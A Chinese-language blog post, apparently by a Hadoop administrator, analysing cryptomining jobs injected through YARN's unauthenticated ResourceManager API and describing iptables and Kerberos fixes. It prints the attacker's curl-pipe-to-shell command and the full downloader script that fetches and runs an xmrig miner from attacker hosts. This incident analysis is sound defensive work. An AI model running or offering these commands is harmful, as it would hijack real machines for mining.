最近利用 Ambari 重新搭建了一个集群,今天发现 ResourceManager UI 里面有一些奇怪的作业,类型是 yarn,由 dr.who 提交的名为 MYYARN 的作业,最早从2018年4月30日开始,每隔几分钟就有一个,作业内容完全一样。
里面的关键一句命令是 exec /bin/bash -c "curl 193.22.96.25/x.sh | sh & disown"
,IP 来自俄罗斯,俄罗斯的黑客真是厉害呢。
入侵分析 首先我们来看一下这个 x.sh
的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #!/bin/bash pkill -f cryptonight pkill -f sustes pkill -f xmrig pkill -f xmr-stak pkill -f suppoie WGET="wget" if [ -s /usr/bin/curl ]; then WGET="curl -o" ; fi ;if [ -s /usr/bin/wget ]; then WGET="wget -O" ; fi if [ ! "$(ps -fe|grep '/tmp/java -c /tmp/w.conf' |grep -v grep) " ]; then f1=$(curl 193.22.96.25/g.php) if [ -z "$f1 " ]; then f1=$(wget -q -O - 193.22.96.25/g.php) fi f2="193.22.96.25" if [ `getconf LONG_BIT` = "64" ] then $WGET /tmp/java http://$f1 /xmrig_64 else $WGET /tmp/java http://$f1 /xmrig_32 fi chmod +x /tmp/java $WGET /tmp/w.conf http://$f2 /w.conf nohup /tmp/java -c /tmp/w.conf>/dev/null 2>&1 & sleep 5 rm -rf /tmp/w.conf rm -f /tmp/java fi pkill -f logo9.jpg crontab -l | sed '/logo9/d' | crontab -
我们看到这个脚本根据不同的架构的CPU下载不同的文件,下载地址是通过 http://193.22.96.25/g.php
这个地址动态获取的,访问了几次,有如下若干 IP:
1 2 3 4 5 6 7 130.0.233.116 5.188.228.148 62.109.24.112 91.201.42.5 95.142.40.81 95.142.40.82 95.142.40.83
脚本下载的程序分别是 xmrig_64
和 xmrig_32
,并且命名为 /tmp/java
,伪装了一下,又下载了 w.conf
这个配置文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 { "algo" : "cryptonight" , "background" : true , "colors" : true , "retries" : 5 , "retry-pause" : 5 , "donate-level" : 1 , "syslog" : false , "log-file" : null , "print-time" : 60 , "av" : 0 , "safe" : false , "max-cpu-usage" : 95 , "cpu-priority" : 4 , "threads" : null , "pools" : [ { "url" : "stratum+tcp://179.60.146.10:5556" , "user" : "h" , "pass" : "h" , "keepalive" : true , "nicehash" : false , "variant" : -1 } ] , "api" : { "port" : 0 , "access-token" : null , "worker-id" : null } }
通过第一行的 cryptonight
这个算法得知,这是一个门罗币的挖矿程序。
好在我们的集群并没有访问外网的权限, 所以一开始就没有成功下载恶意脚本,没有真正受到影响。
解决办法 Hadoop 作为一个分布式计算应用程序框架,种类和功能繁多,各种组件安全问题,可能会带来更大的攻击面。
此次攻击是针对 Yarn 的 ResourceManager UI 开放的 8088 端口,攻击者无需认证即可通过 REST API 部署任务来执行任意指令,最终可以完全控制集群中的所有机器。
首先我们通过设置 iptables 把 8088 端口限制只能从办公室的 IP 访问。 然后启用Kerberos
认证功能。